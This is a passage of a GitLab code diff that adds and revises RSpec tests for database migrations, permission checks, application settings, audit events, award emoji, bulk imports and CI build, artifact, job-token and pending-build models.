+RSpec.describe ScheduleBackfillDraftStatusOnMergeRequests, :sidekiq do
+ let(:namespaces) { table(:namespaces) }
+ let(:projects) { table(:projects) }
+ let(:merge_requests) { table(:merge_requests) }
+
+ let(:group) { namespaces.create!(name: 'gitlab', path: 'gitlab') }
+ let(:project) { projects.create!(namespace_id: group.id) }
+
+ let(:draft_prefixes) { ["[Draft]", "(Draft)", "Draft:", "Draft", "[WIP]", "WIP:", "WIP"] }
+
+ def create_merge_request(params)
+ common_params = {
+ target_project_id: project.id,
+ target_branch: 'feature1',
+ source_branch: 'master'
+ }
+
+ merge_requests.create!(common_params.merge(params))
+ end
+
+ before do
+ draft_prefixes.each do |prefix|
+ (1..4).each do |n|
+ create_merge_request(
+ title: "#{prefix} This is a title",
+ draft: false,
+ state_id: n
+ )
+ end
+ end
+
+ stub_const("#{described_class}::BATCH_SIZE", 1)
+ end
+
+ it 'schedules BackfillDraftStatusOnMergeRequests background jobs' do
+ Sidekiq::Testing.fake! do
+ draft_mrs = Gitlab::BackgroundMigration::BackfillDraftStatusOnMergeRequests::MergeRequest.eligible
+
+ first_mr_id = draft_mrs.first.id
+ second_mr_id = draft_mrs.second.id
+
+ freeze_time do
+ migrate!
+
+ expect(BackgroundMigrationWorker.jobs.size).to eq(7)
+ expect(described_class::MIGRATION)
+ .to be_scheduled_delayed_migration(2.minutes, first_mr_id, first_mr_id)
+ expect(described_class::MIGRATION)
+ .to be_scheduled_delayed_migration(4.minutes, second_mr_id, second_mr_id)
+ end
+ end
+ end
+end
diff --git a/spec/migrations/schedule_delete_orphaned_deployments_spec.rb b/spec/migrations/schedule_delete_orphaned_deployments_spec.rb
new file mode 100644
index 00000000000..618958a3d90
--- /dev/null
+++ b/spec/migrations/schedule_delete_orphaned_deployments_spec.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+require_migration!
+
+RSpec.describe ScheduleDeleteOrphanedDeployments, :sidekiq, schema: 20210617161348 do
+ let!(:namespace) { table(:namespaces).create!(name: 'user', path: 'user') }
+ let!(:project) { table(:projects).create!(namespace_id: namespace.id) }
+ let!(:environment) { table(:environments).create!(name: 'production', slug: 'production', project_id: project.id) }
+ let(:background_migration_jobs) { table(:background_migration_jobs) }
+
+ before do
+ create_deployment!(environment.id, project.id)
+ create_deployment!(environment.id, project.id)
+ create_deployment!(environment.id, project.id)
+ create_deployment!(non_existing_record_id, project.id)
+ create_deployment!(non_existing_record_id, project.id)
+ create_deployment!(non_existing_record_id, project.id)
+ create_deployment!(non_existing_record_id, project.id)
+
+ stub_const("#{described_class}::BATCH_SIZE", 1)
+ end
+
+ it 'schedules DeleteOrphanedDeployments background jobs' do
+ Sidekiq::Testing.fake! do
+ freeze_time do
+ migrate!
+
+ expect(BackgroundMigrationWorker.jobs.size).to eq(7)
+ table(:deployments).find_each do |deployment|
+ expect(described_class::MIGRATION).to be_scheduled_migration(deployment.id, deployment.id)
+ end
+ end
+ end
+ end
+
+ def create_deployment!(environment_id, project_id)
+ table(:deployments).create!(
+ environment_id: environment_id,
+ project_id: project_id,
+ ref: 'master',
+ tag: false,
+ sha: 'x',
+ status: 1,
+ iid: table(:deployments).count + 1)
+ end
+end
diff --git a/spec/models/ability_spec.rb b/spec/models/ability_spec.rb
index 4bfa953df40..e131661602e 100644
--- a/spec/models/ability_spec.rb
+++ b/spec/models/ability_spec.rb
@@ -328,6 +328,69 @@ RSpec.describe Ability do
end
end
+ describe '.feature_flags_readable_by_user' do
+ context 'without a user' do
+ it 'returns no feature flags' do
+ feature_flag_1 = build(:operations_feature_flag)
+ feature_flag_2 = build(:operations_feature_flag, project: build(:project, :public))
+
+ feature_flags = described_class
+ .feature_flags_readable_by_user([feature_flag_1, feature_flag_2])
+
+ expect(feature_flags).to eq([])
+ end
+ end
+
+ context 'with a user' do
+ let(:user) { create(:user) }
+ let(:project) { create(:project) }
+ let(:feature_flag) { create(:operations_feature_flag, project: project) }
+ let(:cross_project) { create(:project) }
+ let(:cross_project_feature_flag) { create(:operations_feature_flag, project: cross_project) }
+
+ let(:other_feature_flag) { create(:operations_feature_flag) }
+ let(:all_feature_flags) do
+ [feature_flag, cross_project_feature_flag, other_feature_flag]
+ end
+
+ subject(:readable_feature_flags) do
+ described_class.feature_flags_readable_by_user(all_feature_flags, user)
+ end
+
+ before do
+ project.add_developer(user)
+ cross_project.add_developer(user)
+ end
+
+ it 'returns feature flags visible to the user' do
+ expect(readable_feature_flags).to contain_exactly(feature_flag, cross_project_feature_flag)
+ end
+
+ context 'when a user cannot read cross project and a filter is passed' do
+ before do
+ allow(described_class).to receive(:allowed?).and_call_original
+ expect(described_class).to receive(:allowed?).with(user, :read_cross_project) { false }
+ end
+
+ subject(:readable_feature_flags) do
+ read_cross_project_filter = -> (feature_flags) do
+ feature_flags.select { |flag| flag.project == project }
+ end
+ described_class.feature_flags_readable_by_user(
+ all_feature_flags, user,
+ filters: { read_cross_project: read_cross_project_filter }
+ )
+ end
+
+ it 'returns only feature flags of the specified project without checking access on others' do
+ expect(described_class).not_to receive(:allowed?).with(user, :read_feature_flag, cross_project_feature_flag)
+
+ expect(readable_feature_flags).to contain_exactly(feature_flag)
+ end
+ end
+ end
+ end
+
describe '.project_disabled_features_rules' do
let(:project) { create(:project, :wiki_disabled) }
diff --git a/spec/models/abuse_report_spec.rb b/spec/models/abuse_report_spec.rb
index a97574fa524..e87996fc1f0 100644
--- a/spec/models/abuse_report_spec.rb
+++ b/spec/models/abuse_report_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe AbuseReport do
let_it_be(:report, reload: true) { create(:abuse_report) }
let_it_be(:user, reload: true) { create(:admin) }
+
subject { report }
it { expect(subject).to be_valid }
diff --git a/spec/models/alert_management/alert_spec.rb b/spec/models/alert_management/alert_spec.rb
index 80a45b1c1be..18d486740b8 100644
--- a/spec/models/alert_management/alert_spec.rb
+++ b/spec/models/alert_management/alert_spec.rb
@@ -100,6 +100,7 @@ RSpec.describe AlertManagement::Alert do
describe 'fingerprint' do
let_it_be(:fingerprint) { 'fingerprint' }
let_it_be(:project3, refind: true) { create(:project) }
+
let(:new_alert) { build(:alert_management_alert, fingerprint: fingerprint, project: project3) }
subject { new_alert }
diff --git a/spec/models/application_setting/term_spec.rb b/spec/models/application_setting/term_spec.rb
index 51a6027698f..d9efa597352 100644
--- a/spec/models/application_setting/term_spec.rb
+++ b/spec/models/application_setting/term_spec.rb
@@ -3,9 +3,7 @@
require 'spec_helper'
RSpec.describe ApplicationSetting::Term do
- describe 'validations' do
- it { is_expected.to validate_presence_of(:terms) }
- end
+ it { is_expected.to nullify_if_blank(:terms) }
describe '.latest' do
it 'finds the latest terms' do
diff --git a/spec/models/application_setting_spec.rb b/spec/models/application_setting_spec.rb
index 4e72d558b52..80471a09bbd 100644
--- a/spec/models/application_setting_spec.rb
+++ b/spec/models/application_setting_spec.rb
@@ -134,6 +134,14 @@ RSpec.describe ApplicationSetting do
it { is_expected.to allow_value('disabled').for(:whats_new_variant) }
it { is_expected.not_to allow_value(nil).for(:whats_new_variant) }
+ it { is_expected.not_to allow_value(['']).for(:valid_runner_registrars) }
+ it { is_expected.not_to allow_value(['OBVIOUSLY_WRONG']).for(:valid_runner_registrars) }
+ it { is_expected.not_to allow_value(%w(project project)).for(:valid_runner_registrars) }
+ it { is_expected.not_to allow_value([nil]).for(:valid_runner_registrars) }
+ it { is_expected.not_to allow_value(nil).for(:valid_runner_registrars) }
+ it { is_expected.to allow_value([]).for(:valid_runner_registrars) }
+ it { is_expected.to allow_value(%w(project group)).for(:valid_runner_registrars) }
+
context 'help_page_documentation_base_url validations' do
it { is_expected.to allow_value(nil).for(:help_page_documentation_base_url) }
it { is_expected.to allow_value('https://docs.gitlab.com').for(:help_page_documentation_base_url) }
@@ -250,6 +258,19 @@ RSpec.describe ApplicationSetting do
it { is_expected.to allow_value(nil).for(:snowplow_collector_hostname) }
end
+ context 'when mailgun_events_enabled is enabled' do
+ before do
+ setting.mailgun_events_enabled = true
+ end
+
+ it { is_expected.to validate_presence_of(:mailgun_signing_key) }
+ it { is_expected.to validate_length_of(:mailgun_signing_key).is_at_most(255) }
+ end
+
+ context 'when mailgun_events_enabled is not enabled' do
+ it { is_expected.not_to validate_presence_of(:mailgun_signing_key) }
+ end
+
context "when user accepted let's encrypt terms of service" do
before do
expect do
diff --git a/spec/models/audit_event_spec.rb b/spec/models/audit_event_spec.rb
index bc603bc5ab6..4fba5fddc92 100644
--- a/spec/models/audit_event_spec.rb
+++ b/spec/models/audit_event_spec.rb
@@ -10,6 +10,71 @@ RSpec.describe AuditEvent do
end
end
+ describe 'callbacks' do
+ describe '#parallel_persist' do
+ shared_examples 'a parallel persisted field' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:column, :details, :expected_value) do
+ :value | nil | :value
+ nil | :value | :value
+ :value | :another_value | :value
+ nil | nil | nil
+ end
+
+ with_them do
+ let(:values) { { value: value, another_value: "#{value}88" } }
+
+ let(:audit_event) do
+ build(:audit_event, name => values[column], details: { name => values[details] })
+ end
+
+ it 'sets both values to be the same', :aggregate_failures do
+ audit_event.validate
+
+ expect(audit_event[name]).to eq(values[expected_value])
+ expect(audit_event.details[name]).to eq(values[expected_value])
+ end
+ end
+ end
+
+ context 'wih author_name' do
+ let(:name) { :author_name }
+ let(:value) { 'Mary Poppins' }
+
+ it_behaves_like 'a parallel persisted field'
+ end
+
+ context 'with entity_path' do
+ let(:name) { :entity_path }
+ let(:value) { 'gitlab-org' }
+
+ it_behaves_like 'a parallel persisted field'
+ end
+
+ context 'with target_details' do
+ let(:name) { :target_details }
+ let(:value) { 'gitlab-org/gitlab' }
+
+ it_behaves_like 'a parallel persisted field'
+ end
+
+ context 'with target_type' do
+ let(:name) { :target_type }
+ let(:value) { 'Project' }
+
+ it_behaves_like 'a parallel persisted field'
+ end
+
+ context 'with target_id' do
+ let(:name) { :target_id }
+ let(:value) { 8 }
+
+ it_behaves_like 'a parallel persisted field'
+ end
+ end
+ end
+
it 'sanitizes custom_message in the details hash' do
audit_event = create(:project_audit_event, details: { target_id: 678, custom_message: '<strong>Arnold</strong>' })
diff --git a/spec/models/award_emoji_spec.rb b/spec/models/award_emoji_spec.rb
index f268408c095..ebd1441f901 100644
--- a/spec/models/award_emoji_spec.rb
+++ b/spec/models/award_emoji_spec.rb
@@ -119,6 +119,36 @@ RSpec.describe AwardEmoji do
end
end
+ describe 'bumping updated at' do
+ let(:note) { create(:note_on_issue) }
+ let(:award_emoji) { build(:award_emoji, user: build(:user), awardable: note) }
+
+ it 'calls bump_updated_at on the note when saved' do
+ expect(note).to receive(:bump_updated_at)
+
+ award_emoji.save!
+ end
+
+ it 'calls bump_updated_at on the note when destroyed' do
+ expect(note).to receive(:bump_updated_at)
+
+ award_emoji.destroy!
+ end
+
+ context 'on another awardable' do
+ let(:issue) { create(:issue) }
+ let(:award_emoji) { build(:award_emoji, user: build(:user), awardable: issue) }
+
+ it 'does not error out when saved' do
+ expect { award_emoji.save! }.not_to raise_error
+ end
+
+ it 'does not error out when destroy' do
+ expect { award_emoji.destroy! }.not_to raise_error
+ end
+ end
+ end
+
describe '.award_counts_for_user' do
let(:user) { create(:user) }
@@ -141,4 +171,43 @@ RSpec.describe AwardEmoji do
expect(awards).to eq('thumbsup' => 2)
end
end
+
+ describe 'updating upvotes_count' do
+ context 'on an issue' do
+ let(:issue) { create(:issue) }
+ let(:upvote) { build(:award_emoji, :upvote, user: build(:user), awardable: issue) }
+ let(:downvote) { build(:award_emoji, :downvote, user: build(:user), awardable: issue) }
+
+ it 'updates upvotes_count on the issue when saved' do
+ expect(issue).to receive(:update_column).with(:upvotes_count, 1).once
+
+ upvote.save!
+ downvote.save!
+ end
+
+ it 'updates upvotes_count on the issue when destroyed' do
+ expect(issue).to receive(:update_column).with(:upvotes_count, 0).once
+
+ upvote.destroy!
+ downvote.destroy!
+ end
+ end
+
+ context 'on another awardable' do
+ let(:merge_request) { create(:merge_request) }
+ let(:award_emoji) { build(:award_emoji, user: build(:user), awardable: merge_request) }
+
+ it 'does not update upvotes_count on the merge_request when saved' do
+ expect(merge_request).not_to receive(:update_column)
+
+ award_emoji.save!
+ end
+
+ it 'does not update upvotes_count on the merge_request when destroyed' do
+ expect(merge_request).not_to receive(:update_column)
+
+ award_emoji.destroy!
+ end
+ end
+ end
end
diff --git a/spec/models/blob_viewer/markup_spec.rb b/spec/models/blob_viewer/markup_spec.rb
index 13b040d62d0..dae1b79dda2 100644
--- a/spec/models/blob_viewer/markup_spec.rb
+++ b/spec/models/blob_viewer/markup_spec.rb
@@ -24,15 +24,5 @@ RSpec.describe BlobViewer::Markup do
expect(subject.banzai_render_context.keys).to include(:rendered)
end
end
-
- context 'when cached_markdown_blob feature flag is disabled' do
- before do
- stub_feature_flags(cached_markdown_blob: false)
- end
-
- it 'does not set cache_key key' do
- expect(subject.banzai_render_context.keys).not_to include(:cache_key)
- end
- end
end
end
diff --git a/spec/models/bulk_import_spec.rb b/spec/models/bulk_import_spec.rb
index 1a7e1ed8119..4cfec6b20b7 100644
--- a/spec/models/bulk_import_spec.rb
+++ b/spec/models/bulk_import_spec.rb
@@ -15,4 +15,10 @@ RSpec.describe BulkImport, type: :model do
it { is_expected.to define_enum_for(:source_type).with_values(%i[gitlab]) }
end
+
+ describe '.all_human_statuses' do
+ it 'returns all human readable entity statuses' do
+ expect(described_class.all_human_statuses).to contain_exactly('created', 'started', 'finished', 'failed')
+ end
+ end
end
diff --git a/spec/models/bulk_imports/entity_spec.rb b/spec/models/bulk_imports/entity_spec.rb
index d1b7125a6e6..11a3e53dd16 100644
--- a/spec/models/bulk_imports/entity_spec.rb
+++ b/spec/models/bulk_imports/entity_spec.rb
@@ -134,4 +134,24 @@ RSpec.describe BulkImports::Entity, type: :model do
expect(entity.encoded_source_full_path).to eq(expected)
end
end
+
+ describe 'scopes' do
+ describe '.by_user_id' do
+ it 'returns entities associated with specified user' do
+ user = create(:user)
+ import = create(:bulk_import, user: user)
+ entity_1 = create(:bulk_import_entity, bulk_import: import)
+ entity_2 = create(:bulk_import_entity, bulk_import: import)
+ create(:bulk_import_entity)
+
+ expect(described_class.by_user_id(user.id)).to contain_exactly(entity_1, entity_2)
+ end
+ end
+ end
+
+ describe '.all_human_statuses' do
+ it 'returns all human readable entity statuses' do
+ expect(described_class.all_human_statuses).to contain_exactly('created', 'started', 'finished', 'failed')
+ end
+ end
end
diff --git a/spec/models/bulk_imports/file_transfer/group_config_spec.rb b/spec/models/bulk_imports/file_transfer/group_config_spec.rb
index 4611a00b0cc..1e566a7b042 100644
--- a/spec/models/bulk_imports/file_transfer/group_config_spec.rb
+++ b/spec/models/bulk_imports/file_transfer/group_config_spec.rb
@@ -34,6 +34,10 @@ RSpec.describe BulkImports::FileTransfer::GroupConfig do
it 'returns a list of top level exportable relations' do
expect(subject.portable_relations).to include('milestones', 'badges', 'boards', 'labels')
end
+
+ it 'does not include skipped relations' do
+ expect(subject.portable_relations).not_to include('members')
+ end
end
describe '#top_relation_tree' do
diff --git a/spec/models/bulk_imports/file_transfer/project_config_spec.rb b/spec/models/bulk_imports/file_transfer/project_config_spec.rb
index 2995556a58d..db037528ec1 100644
--- a/spec/models/bulk_imports/file_transfer/project_config_spec.rb
+++ b/spec/models/bulk_imports/file_transfer/project_config_spec.rb
@@ -34,6 +34,10 @@ RSpec.describe BulkImports::FileTransfer::ProjectConfig do
it 'returns a list of top level exportable relations' do
expect(subject.portable_relations).to include('issues', 'labels', 'milestones', 'merge_requests')
end
+
+ it 'does not include skipped relations' do
+ expect(subject.portable_relations).not_to include('project_members', 'group_members')
+ end
end
describe '#top_relation_tree' do
diff --git a/spec/models/chat_name_spec.rb b/spec/models/chat_name_spec.rb
index 4d77bd53158..9ed00003ac1 100644
--- a/spec/models/chat_name_spec.rb
+++ b/spec/models/chat_name_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe ChatName do
let_it_be(:chat_name) { create(:chat_name) }
+
subject { chat_name }
it { is_expected.to belong_to(:integration) }
diff --git a/spec/models/chat_team_spec.rb b/spec/models/chat_team_spec.rb
index 08fd05324aa..2e8cdb7a316 100644
--- a/spec/models/chat_team_spec.rb
+++ b/spec/models/chat_team_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe ChatTeam do
let_it_be(:chat_team) { create(:chat_team) }
+
subject { chat_team }
# Associations
diff --git a/spec/models/ci/build_dependencies_spec.rb b/spec/models/ci/build_dependencies_spec.rb
index 331ba9953ca..cd330324840 100644
--- a/spec/models/ci/build_dependencies_spec.rb
+++ b/spec/models/ci/build_dependencies_spec.rb
@@ -55,6 +55,24 @@ RSpec.describe Ci::BuildDependencies do
end
end
end
+
+ context 'when needs refer to jobs from the same stage' do
+ let(:job) do
+ create(:ci_build,
+ pipeline: pipeline,
+ name: 'dag_job',
+ scheduling_type: :dag,
+ stage_idx: 2,
+ stage: 'deploy'
+ )
+ end
+
+ before do
+ create(:ci_build_need, build: job, name: 'staging', artifacts: true)
+ end
+
+ it { is_expected.to contain_exactly(staging) }
+ end
end
describe 'jobs from specified dependencies' do
diff --git a/spec/models/ci/build_spec.rb b/spec/models/ci/build_spec.rb
index 62dec522161..0c344270e0b 100644
--- a/spec/models/ci/build_spec.rb
+++ b/spec/models/ci/build_spec.rb
@@ -39,6 +39,34 @@ RSpec.describe Ci::Build do
it { is_expected.to delegate_method(:merge_request_ref?).to(:pipeline) }
it { is_expected.to delegate_method(:legacy_detached_merge_request_pipeline?).to(:pipeline) }
+ shared_examples 'calling proper BuildFinishedWorker' do
+ context 'when ci_build_finished_worker_namespace_changed feature flag enabled' do
+ before do
+ stub_feature_flags(ci_build_finished_worker_namespace_changed: build.project)
+ end
+
+ it 'calls Ci::BuildFinishedWorker' do
+ expect(Ci::BuildFinishedWorker).to receive(:perform_async)
+ expect(::BuildFinishedWorker).not_to receive(:perform_async)
+
+ subject
+ end
+ end
+
+ context 'when ci_build_finished_worker_namespace_changed feature flag disabled' do
+ before do
+ stub_feature_flags(ci_build_finished_worker_namespace_changed: false)
+ end
+
+ it 'calls ::BuildFinishedWorker' do
+ expect(::BuildFinishedWorker).to receive(:perform_async)
+ expect(Ci::BuildFinishedWorker).not_to receive(:perform_async)
+
+ subject
+ end
+ end
+ end
+
describe 'associations' do
it 'has a bidirectional relationship with projects' do
expect(described_class.reflect_on_association(:project).has_inverse?).to eq(:builds)
@@ -384,7 +412,7 @@ RSpec.describe Ci::Build do
context 'when there is a queuing entry already present' do
before do
- ::Ci::PendingBuild.create!(build: build, project: build.project)
+ create(:ci_pending_build, build: build, project: build.project)
end
it 'does not raise an error' do
@@ -396,7 +424,7 @@ RSpec.describe Ci::Build do
context 'when both failure scenario happen at the same time' do
before do
::Ci::Build.find(build.id).update_column(:lock_version, 100)
- ::Ci::PendingBuild.create!(build: build, project: build.project)
+ create(:ci_pending_build, build: build, project: build.project)
end
it 'raises stale object error exception' do
@@ -478,7 +506,7 @@ RSpec.describe Ci::Build do
let(:build) { create(:ci_build, :pending) }
before do
- ::Ci::PendingBuild.create!(build: build, project: build.project)
+ create(:ci_pending_build, build: build, project: build.project)
::Ci::Build.find(build.id).update_column(:lock_version, 100)
end
@@ -1323,6 +1351,7 @@ RSpec.describe Ci::Build do
end
it_behaves_like 'avoid deadlock'
+ it_behaves_like 'calling proper BuildFinishedWorker'
it 'transits deployment status to success' do
subject
@@ -1335,6 +1364,7 @@ RSpec.describe Ci::Build do
let(:event) { :drop! }
it_behaves_like 'avoid deadlock'
+ it_behaves_like 'calling proper BuildFinishedWorker'
it 'transits deployment status to failed' do
subject
@@ -1359,6 +1389,7 @@ RSpec.describe Ci::Build do
let(:event) { :cancel! }
it_behaves_like 'avoid deadlock'
+ it_behaves_like 'calling proper BuildFinishedWorker'
it 'transits deployment status to canceled' do
subject
@@ -1966,6 +1997,23 @@ RSpec.describe Ci::Build do
end
end
+ describe '#tag_list' do
+ let_it_be(:build) { create(:ci_build, tag_list: ['tag']) }
+
+ context 'when tags are preloaded' do
+ it 'does not trigger queries' do
+ build_with_tags = described_class.eager_load_tags.id_in([build]).to_a.first
+
+ expect { build_with_tags.tag_list }.not_to exceed_all_query_limit(0)
+ expect(build_with_tags.tag_list).to eq(['tag'])
+ end
+ end
+
+ context 'when tags are not preloaded' do
+ it { expect(described_class.find(build.id).tag_list).to eq(['tag']) }
+ end
+ end
+
describe '#has_tags?' do
context 'when build has tags' do
subject { create(:ci_build, tag_list: ['tag']) }
@@ -2155,15 +2203,15 @@ RSpec.describe Ci::Build do
end
it 'contains options' do
- expect(build.options).to eq(options.stringify_keys)
+ expect(build.options).to eq(options.symbolize_keys)
end
- it 'allows to access with keys' do
+ it 'allows to access with symbolized keys' do
expect(build.options[:image]).to eq('ruby:2.7')
end
- it 'allows to access with strings' do
- expect(build.options['image']).to eq('ruby:2.7')
+ it 'rejects access with string keys' do
+ expect(build.options['image']).to be_nil
end
context 'when ci_build_metadata_config is set' do
@@ -2172,7 +2220,7 @@ RSpec.describe Ci::Build do
end
it 'persist data in build metadata' do
- expect(build.metadata.read_attribute(:config_options)).to eq(options.stringify_keys)
+ expect(build.metadata.read_attribute(:config_options)).to eq(options.symbolize_keys)
end
it 'does not persist data in build' do
@@ -4476,26 +4524,12 @@ RSpec.describe Ci::Build do
it { is_expected.to include(:upload_multiple_artifacts) }
end
- context 'when artifacts exclude is defined and the is feature enabled' do
+ context 'when artifacts exclude is defined' do
let(:options) do
{ artifacts: { exclude: %w[something] } }
end
- context 'when a feature flag is enabled' do
- before do
- stub_feature_flags(ci_artifacts_exclude: true)
- end
-
- it { is_expected.to include(:artifacts_exclude) }
- end
-
- context 'when a feature flag is disabled' do
- before do
- stub_feature_flags(ci_artifacts_exclude: false)
- end
-
- it { is_expected.not_to include(:artifacts_exclude) }
- end
+ it { is_expected.to include(:artifacts_exclude) }
end
end
@@ -4712,9 +4746,9 @@ RSpec.describe Ci::Build do
describe '#read_metadata_attribute' do
let(:build) { create(:ci_build, :degenerated) }
- let(:build_options) { { "key" => "build" } }
- let(:metadata_options) { { "key" => "metadata" } }
- let(:default_options) { { "key" => "default" } }
+ let(:build_options) { { key: "build" } }
+ let(:metadata_options) { { key: "metadata" } }
+ let(:default_options) { { key: "default" } }
subject { build.send(:read_metadata_attribute, :options, :config_options, default_options) }
@@ -4749,8 +4783,8 @@ RSpec.describe Ci::Build do
describe '#write_metadata_attribute' do
let(:build) { create(:ci_build, :degenerated) }
- let(:options) { { "key" => "new options" } }
- let(:existing_options) { { "key" => "existing options" } }
+ let(:options) { { key: "new options" } }
+ let(:existing_options) { { key: "existing options" } }
subject { build.send(:write_metadata_attribute, :options, :config_options, options) }
diff --git a/spec/models/ci/build_trace_chunk_spec.rb b/spec/models/ci/build_trace_chunk_spec.rb
index a16453f3d01..b6e128c317c 100644
--- a/spec/models/ci/build_trace_chunk_spec.rb
+++ b/spec/models/ci/build_trace_chunk_spec.rb
@@ -152,14 +152,6 @@ RSpec.describe Ci::BuildTraceChunk, :clean_gitlab_redis_shared_state, :clean_git
context 'default value' do
it { expect(subject).to eq('redis_trace_chunks') }
-
- context 'when dedicated_redis_trace_chunks is disabled' do
- before do
- stub_feature_flags(dedicated_redis_trace_chunks: false)
- end
-
- it { expect(subject).to eq('redis') }
- end
end
end
diff --git a/spec/models/ci/build_trace_chunks/fog_spec.rb b/spec/models/ci/build_trace_chunks/fog_spec.rb
index d9e9533fb26..21dab6fad60 100644
--- a/spec/models/ci/build_trace_chunks/fog_spec.rb
+++ b/spec/models/ci/build_trace_chunks/fog_spec.rb
@@ -102,6 +102,57 @@ RSpec.describe Ci::BuildTraceChunks::Fog do
end
end
+ describe '#append_data' do
+ let(:initial_data) { (+'😺').force_encoding(Encoding::ASCII_8BIT) }
+ let(:model) { create(:ci_build_trace_chunk, :fog_with_data, initial_data: initial_data) }
+ let(:data) { data_store.data(model) }
+
+ context 'when ci_job_trace_force_encode is enabled' do
+ it 'appends ASCII data' do
+ data_store.append_data(model, +'hello world', 4)
+
+ expect(data.encoding).to eq(Encoding::ASCII_8BIT)
+ expect(data.force_encoding(Encoding::UTF_8)).to eq('😺hello world')
+ end
+
+ it 'appends UTF-8 data' do
+ data_store.append_data(model, +'Résumé', 4)
+
+ expect(data.encoding).to eq(Encoding::ASCII_8BIT)
+ expect(data.force_encoding(Encoding::UTF_8)).to eq("😺Résumé")
+ end
+
+ context 'when initial data is UTF-8' do
+ let(:initial_data) { +'😺' }
+
+ it 'appends ASCII data' do
+ data_store.append_data(model, +'hello world', 4)
+
+ expect(data.encoding).to eq(Encoding::ASCII_8BIT)
+ expect(data.force_encoding(Encoding::UTF_8)).to eq('😺hello world')
+ end
+ end
+ end
+
+ context 'when ci_job_trace_force_encode is disabled' do
+ before do
+ stub_feature_flags(ci_job_trace_force_encode: false)
+ end
+
+ it 'appends ASCII data' do
+ data_store.append_data(model, +'hello world', 4)
+
+ expect(data.encoding).to eq(Encoding::ASCII_8BIT)
+ expect(data.force_encoding(Encoding::UTF_8)).to eq('😺hello world')
+ end
+
+ it 'throws an exception when appending UTF-8 data' do
+ expect(Gitlab::ErrorTracking).to receive(:track_and_raise_exception).and_call_original
+ expect { data_store.append_data(model, +'Résumé', 4) }.to raise_exception(Encoding::CompatibilityError)
+ end
+ end
+ end
+
describe '#delete_data' do
subject { data_store.delete_data(model) }
diff --git a/spec/models/ci/job_artifact_spec.rb b/spec/models/ci/job_artifact_spec.rb
index 582639b105e..a94a1dd284a 100644
--- a/spec/models/ci/job_artifact_spec.rb
+++ b/spec/models/ci/job_artifact_spec.rb
@@ -268,6 +268,29 @@ RSpec.describe Ci::JobArtifact do
end
end
+ describe '.for_project' do
+ it 'returns artifacts only for given project(s)', :aggregate_failures do
+ artifact1 = create(:ci_job_artifact)
+ artifact2 = create(:ci_job_artifact)
+ create(:ci_job_artifact)
+
+ expect(described_class.for_project(artifact1.project)).to match_array([artifact1])
+ expect(described_class.for_project([artifact1.project, artifact2.project])).to match_array([artifact1, artifact2])
+ end
+ end
+
+ describe 'created_in_time_range' do
+ it 'returns artifacts created in given time range', :aggregate_failures do
+ artifact1 = create(:ci_job_artifact, created_at: 1.day.ago)
+ artifact2 = create(:ci_job_artifact, created_at: 1.month.ago)
+ artifact3 = create(:ci_job_artifact, created_at: 1.year.ago)
+
+ expect(described_class.created_in_time_range(from: 1.week.ago)).to match_array([artifact1])
+ expect(described_class.created_in_time_range(to: 1.week.ago)).to match_array([artifact2, artifact3])
+ expect(described_class.created_in_time_range(from: 2.months.ago, to: 1.week.ago)).to match_array([artifact2])
+ end
+ end
+
describe 'callbacks' do
describe '#schedule_background_upload' do
subject { create(:ci_job_artifact, :archive) }
diff --git a/spec/models/ci/job_token/project_scope_link_spec.rb b/spec/models/ci/job_token/project_scope_link_spec.rb
index d18495b9312..dd6a75dfd89 100644
--- a/spec/models/ci/job_token/project_scope_link_spec.rb
+++ b/spec/models/ci/job_token/project_scope_link_spec.rb
@@ -65,4 +65,22 @@ RSpec.describe Ci::JobToken::ProjectScopeLink do
expect(subject).to contain_exactly(target_link)
end
end
+
+ describe '.for_source_and_target' do
+ let_it_be(:link) { create(:ci_job_token_project_scope_link, source_project: project) }
+
+ subject { described_class.for_source_and_target(project, target_project) }
+
+ context 'when link is found' do
+ let(:target_project) { link.target_project }
+
+ it { is_expected.to eq(link) }
+ end
+
+ context 'when link is not found' do
+ let(:target_project) { create(:project) }
+
+ it { is_expected.to be_nil }
+ end
+ end
end
diff --git a/spec/models/ci/job_token/scope_spec.rb b/spec/models/ci/job_token/scope_spec.rb
index c731a2634f5..4b95adf8476 100644
--- a/spec/models/ci/job_token/scope_spec.rb
+++ b/spec/models/ci/job_token/scope_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe Ci::JobToken::Scope do
- let_it_be(:project) { create(:project) }
+ let_it_be(:project) { create(:project, ci_job_token_scope_enabled: true).tap(&:save!) }
let(:scope) { described_class.new(project) }
@@ -29,7 +29,7 @@ RSpec.describe Ci::JobToken::Scope do
end
end
- describe 'includes?' do
+ describe '#includes?' do
subject { scope.includes?(target_project) }
context 'when param is the project defining the scope' do
diff --git a/spec/models/ci/pending_build_spec.rb b/spec/models/ci/pending_build_spec.rb
index c1d4f4b0a5e..b64f3999232 100644
--- a/spec/models/ci/pending_build_spec.rb
+++ b/spec/models/ci/pending_build_spec.rb
@@ -20,7 +20,7 @@ RSpec.describe Ci::PendingBuild do
context 'when another queuing entry exists for given build' do
before do
- described_class.create!(build: build, project: project, protected: false)
+ create(:ci_pending_build, build: build, project: project)
end
it 'returns a build id as a result' do
@@ -29,5 +29,61 @@ RSpec.describe Ci::PendingBuild do
expect(result.rows.dig(0, 0)).to eq build.id
end
end
+
+ context 'when project does not have shared runner' do
+ it 'sets instance_runners_enabled to false' do
+ described_class.upsert_from_build!(build)
+
+ expect(described_class.last.instance_runners_enabled).to be_falsey
+ end
+ end
+
+ context 'when project has shared runner' do
+ let_it_be(:runner) { create(:ci_runner, :instance) }
+
+ context 'when ci_pending_builds_maintain_shared_runners_data is enabled' do
+ it 'sets instance_runners_enabled to true' do
+ described_class.upsert_from_build!(build)
+
+ expect(described_class.last.instance_runners_enabled).to be_truthy
+ end
+
+ context 'when project is about to be deleted' do
+ before do
+ build.project.update!(pending_delete: true)
+ end
+
+ it 'sets instance_runners_enabled to false' do
+ described_class.upsert_from_build!(build)
+
+ expect(described_class.last.instance_runners_enabled).to be_falsey
+ end
+ end
+
+ context 'when builds are disabled' do
+ before do
+ build.project.project_feature.update!(builds_access_level: false)
+ end
+
+ it 'sets instance_runners_enabled to false' do
